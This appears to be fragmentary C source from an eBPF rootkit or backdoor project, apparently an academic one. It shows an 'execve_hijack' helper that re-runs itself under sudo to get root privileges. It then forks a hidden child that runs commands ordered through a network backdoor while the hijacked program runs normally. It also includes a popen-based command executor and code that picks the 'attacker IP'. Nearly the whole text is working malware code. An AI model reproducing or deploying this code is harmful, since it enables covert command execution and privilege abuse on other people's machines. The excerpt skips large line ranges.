```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <time.h>
#include <sys/wait.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
```



```c
#include <sys/file.h>
#include <errno.h>
#include <syslog.h>
#include <dlfcn.h>
#include <sys/timerfd.h>
#include <ifaddrs.h>
#include <linux/if_link.h>

```

```c
#include "lib/RawTCP.h"
#include "../common/c&c.h"
#include <linux/bpf.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>

#define LOCK_FILE "/tmp/rootlog"
#define DEFAULT_NETWORK_INTERFACE "enp0s3"

int test_time_values_injection(){

    struct itimerspec new_value, new_value2;
    int max_exp, fd, fd2;
    struct timespec now;
    uint64_t exp, tot_exp;
    ssize_t s;


    fd = timerfd_create(CLOCK_REALTIME, 0);
    if (fd == -1)
        return -1;

    new_value.it_interval.tv_sec = 30;
    new_value.it_interval.tv_nsec = 0;

    if (timerfd_settime(fd, TFD_TIMER_ABSTIME, &new_value, NULL) == -1)
        return -1;

    fd2 = timerfd_create(CLOCK_REALTIME, 0);
    if (fd2 == -1)
        return -1;

    new_value2.it_interval.tv_sec = 30;
    new_value2.it_interval.tv_nsec = 0;

    if (timerfd_settime(fd2, TFD_TIMER_ABSTIME, &new_value2, NULL) == -1)
        return -1;


    printf("Timer %i started, address sent %llx\n", fd, (__u64)&new_value);

    return 0;
}


char* execute_command(char* command){
```

```
73          FILE *fp;
74          char* res = calloc(4096, sizeof(char));
75          char buf[1024];
76
77          fp = popen(command, "r");
78          if(fp == NULL) {
79              printf("Failed to run command\n" );
80              return "COMMAND ERROR";
81          }
82
83          while(fgets(buf, sizeof(buf), fp) != NULL) {
84              strcat(res, buf);
85          }
86          printf("RESULT OF COMMAND: %s\n", res);
87
88          pclose(fp);
89          return res;
90      }
91
92
93      /**
94       * @brief Improved version of getting local IP
95       * Based on the man page: https://man7.org/linux/man-pages/man3/getifaddrs.3.html
96       *
97       * @return char*
98       */
99      char* getLocalIpAddress(){
100         char hostbuffer[256];
101         char* IPbuffer = calloc(256, sizeof(char));
102         struct hostent *host_entry;
103         int hostname;
104
105         struct ifaddrs *ifaddr;
106         int family, s;
107         char host[NI_MAXHOST];
108
109         if (getifaddrs(&ifaddr) == -1) {
110             perror("getifaddrs");
111             exit(EXIT_FAILURE);
112         }
113
114         /* Walk through linked list, maintaining head pointer so we
115             can free list later. */
116
117         for (struct ifaddrs *ifa = ifaddr; ifa != NULL;ifa = ifa->ifa_next) {
118             if (ifa->ifa_addr == NULL)
```

```
119             continue;
120
121         family = ifa->ifa_addr->sa_family;
122
123         /* Display interface name and family (including symbolic
124             form of the latter for the common families). */
125
126         //printf("%-8s %s (%d)\n",ifa->ifa_name,(family == AF_PACKET) ? "AF_PACKET" :(family == AF_
127         /* For an AF_INET* interface address, display the address. */
128
129         if (family == AF_INET || family == AF_INET6) {
130             s = getnameinfo(ifa->ifa_addr,
131                     (family == AF_INET) ? sizeof(struct sockaddr_in) :
132                                           sizeof(struct sockaddr_in6),
133                     host, NI_MAXHOST,
134                     NULL, 0, NI_NUMERICHOST);
135             if (s != 0) {
136                 printf("getnameinfo() failed: %s\n", gai_strerror(s));
137                 exit(EXIT_FAILURE);
138             }
139
140             //printf("\t\taddress: <%s>\n", host);
141             if(strcmp(ifa->ifa_name, DEFAULT_NETWORK_INTERFACE)==0){
142                 //Interface we chose
143                 printf("Attacker IP selected: %s (%s)\n", ifa->ifa_name, host);
144                 strcpy(IPbuffer, host);
145                 return IPbuffer;
146             }
147         }
148
149     }
150
```

```
270
271         if(geteuid() != 0){
272             //We do not have privileges, but we do want them. Let's rerun the program now.
273             char* args[argc+3];
274             args[0] = "sudo";
275             args[1] = "/home/osboxes/TFG/src/helpers/execve_hijack";
276             //printf("execve ARGS%i: %s\n", 0, args[0]);
277             //printf("execve ARGS%i: %s\n", 1, args[1]);
278             for(int ii=0; ii<argc; ii++){
279                 args[ii+2] = argv[ii];
280                 //printf("execve ARGS%i: %s\n", ii+2, args[ii+2]);
281             }
282             args[argc+2] = NULL;
283 
284             if(execve("/usr/bin/sudo", args, envp)<0){
285                 perror("Failed to execve()");
286                 exit(-1);
287             }
288             exit(0);
289         }
290 
291 
292         //We proceed to fork() and exec the original program, whilst also executing the one we
293         //ordered to execute via the network backdoor
294         pid_t pid = fork();
295 
296         if (pid < 0) {
297             perror("Fork failed");
298         }
299         if (pid == 0) {
300             setsid();
301             //Child process
```

```
302             printf("Malicious program child executed with pid %d\n", (int) getpid());
303 
304             //First of all check if the locking log file is locked, which indicates that the backdoor p
305             int fd = open(LOCK_FILE, O_RDWR | O_CREAT | O_TRUNC, 0666);
306             if(fd<0){
307                 perror("Failed to open lock file before entering hijacking routine");
308                 exit(-1);
309             }
310             if (flock(fd, LOCK_EX|LOCK_NB) == -1) {
311                 if (errno == EWOULDBLOCK) {
312                     perror("lock file was locked");
313                 } else {
314                     perror("Error with the lockfile");
315                 }
316                 exit(-1);
317             }
318             hijacker_process_routine(argc, argv, fd);
319             printf("Child process is exiting\n");
320             exit(0);
321         }
322         //Parent process. Call original hijacked command
323         char* hij_args[argc];
324         hij_args[0] = argv[1];
325         syslog(LOG_DEBUG, "hijacking ARGS%i: %s\n", 0, hij_args[0]);
326         for(int ii=0; ii<argc-2; ii++){
327             hij_args[ii+1] = argv[ii+2];
328             syslog(LOG_DEBUG, "hijacking ARGS%i: %s\n", ii+1, hij_args[ii+1]);
329         }
330         hij_args[argc-1] = NULL;
331 
332         if(execve(argv[1], hij_args, envp)<0){
333             perror("Failed to execve() originally hijacked process");
334             exit(-1);
335         }
336 
337         wait(NULL);
338         printf("parent process is exiting\n");
339         return(0);
340 
341 
342 
343     }
```